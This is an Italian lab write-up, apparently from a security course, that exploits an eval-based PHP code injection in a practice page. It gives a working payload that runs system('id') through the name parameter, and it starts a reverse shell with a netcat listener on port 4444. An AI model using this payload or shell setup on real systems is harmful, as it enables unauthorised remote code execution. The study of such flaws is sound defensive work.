Temi


04f - Input non controllato

🐲 Strategia di attacco


1. Analisi codice sorgente

Analizzando il codice sorgente a /var/www/codeexec/example1.php si nota una riflessione dell’input. Viene costruita una stringa contenente il parametro name e poi viene interpretata come un’espressione PHP, tramite la funzion eval. Tale funzione interpreta ciò che gli viene passato come codice PHP.

2. Sfruttamento della debolezza

Per sfruttare la debolezza ci basterà seguire la solita sintassi per l’iniezione di codice arbitrario:

INPUT = INPUT_LEGITTIMO + CARATTERE_SEPARATORE_CODICE + CODICE_PHP_ARBITRARIO + CARATTERE_CHIUSURA

In questo caso:

Le “ dopo hacker servono a chiudere l’input legittimo.

Si inserisce il parametro name=hacker"; system("id"); " Abbiamo remote code execution con i privilegi di www-data.

Se l’esecuzione di codice remota funziona, possiamo anche ottenere facilmente una reverse-shell. Ci mettiamo in ascolto sulla macchina host, sulla porta, ad esempio, 4444:

nc -lnvp 4444